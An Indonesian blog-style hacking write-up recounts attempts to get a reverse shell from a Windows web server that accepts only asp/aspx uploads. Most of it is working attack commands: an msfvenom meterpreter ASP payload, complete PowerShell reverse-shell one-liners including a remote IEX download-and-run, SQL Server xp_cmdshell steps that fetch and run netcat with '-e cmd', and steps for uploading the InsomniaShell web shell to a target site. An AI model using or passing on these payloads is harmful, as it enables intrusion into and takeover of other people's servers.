- Server hanya menerima file type asp dan aspx
- Tidak ada python, perl atau semacamnya
- Banyak fungsi yang didisable
- Saya terlalu mager untuk buat payload .exe
Nah sebelum saya masuk ke cara resolvenya, saya paparkan beberapa teknik yang saya gunakan. Buat kamu yang ga sabaran langsung aja baca dibagian exploitasi
Kronologi
Reverse Shell Windows Menggunakan Metasploit
Cara pertama yang terbesit dikepala saya adalah menggunakan metasploit untuk membuat payload, untuk commandnya sendiri seperti berikut
msfvenom -p windows/meterpreter/reverse_tcp LHOST=Attacker_IP LPORT=Attacker_Listener_Port -f asp > shell.aspLalu muncul output
Would you like to use and setup a new database (recommended)?Preview
Yaps, ini adalah salah satu problem yang sering terjadi ketika menggunakan metasploit. Solusinya adalah dengan menggunakan sudo
Preview
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1337 -f asp > shell.asp
setelah itu kita jalankan netcat pada vps atau pada terminal kalian
nc -lvp 1337
Upload nakanosec.asp ke site target dan coba buka untuk men trigger payload
Seperti yang anda lihat payload tereksekusi, Tapi output tidak dapat ditampilkan... ini sendiri sepertinya juga bukan ip milik server melainkan ip saya sendiri..
Reverse Shell Windows Menggunakan Powershell
Cara ke 2 yang terpikir adalah penggunaan powershell command, ini karena saya pernah melakukan backconnect pada sql injection into outfile pada server windows dengan powershell. Untuk Powershell command cheatsheet ada 3 macam seperti berikut:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8
Reverse Shell Windows Menggunakan Powershell (Encode)
Pada teknik ini saya memakai bantuan tools, untuk commandnya seperti berikut.
wget -O https://gist.githubusercontent.com/tothi/ab288fb523a4b32b51a53e542d40fe58/raw/40ade3fb5e3665b82310c08d36597123c2e75ab4/mkpsrevshell.py
Kemudian jalankan dengan python3
python3 mkpsrevshell.py ip portPreview
Ya, gagal lagi... mungkin penggunaan powershell didisable atau ntahlah...
Reverse Shell Windows Menggunakan netcat
Teknik berikutnya yang terpikir adalah pengunaan netcat, walaupun saya tau diservernya ga ada netcat tapi tetep saya coba
cmd.exe nc -nv4444
Tentu saja gagal... :)
Reverse Shell Windows Menggunakan exec master..xp_cmdshell
Ya ini sendiri teknik lama banget, kalo ga salah buat dapetin revese shell dari sql gitu..
Petama kita setting dulu xp_cmdshell
EXEC sp_configure 'show advanced option', '1';RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;exec master..xp_cmdshell 'FTP -A 127.0.0.1';
Kedua Install dan jalankan netcat melalui cmdshell
exec master..xp_cmdshell 'echo get nc.exe > script.txt'
exec master..xp_cmdshell 'ftp -A -s:script.txt 127.0.0.1'
exec master..xp_cmdshell 'nc 127.0.0.1 1337 -e cmd'Tentu saja ini juga tidak berhasil.. Oke ternyata dari sekian banyak percobaan, ada teknik yang sangat gampang.. yaitu menggunakan InsomniaShell
Exploitasi
1. Download InsomniaShell.aspx Disini
2.Upload ke website
3.Isi Host dan Port Listener kalian pada Form Backconnect
4.Klik Button dan liat pada listener kalian
Ok, Solved ternyata gitu doang cara backconnect dari windows server, semoga bermanfaat,,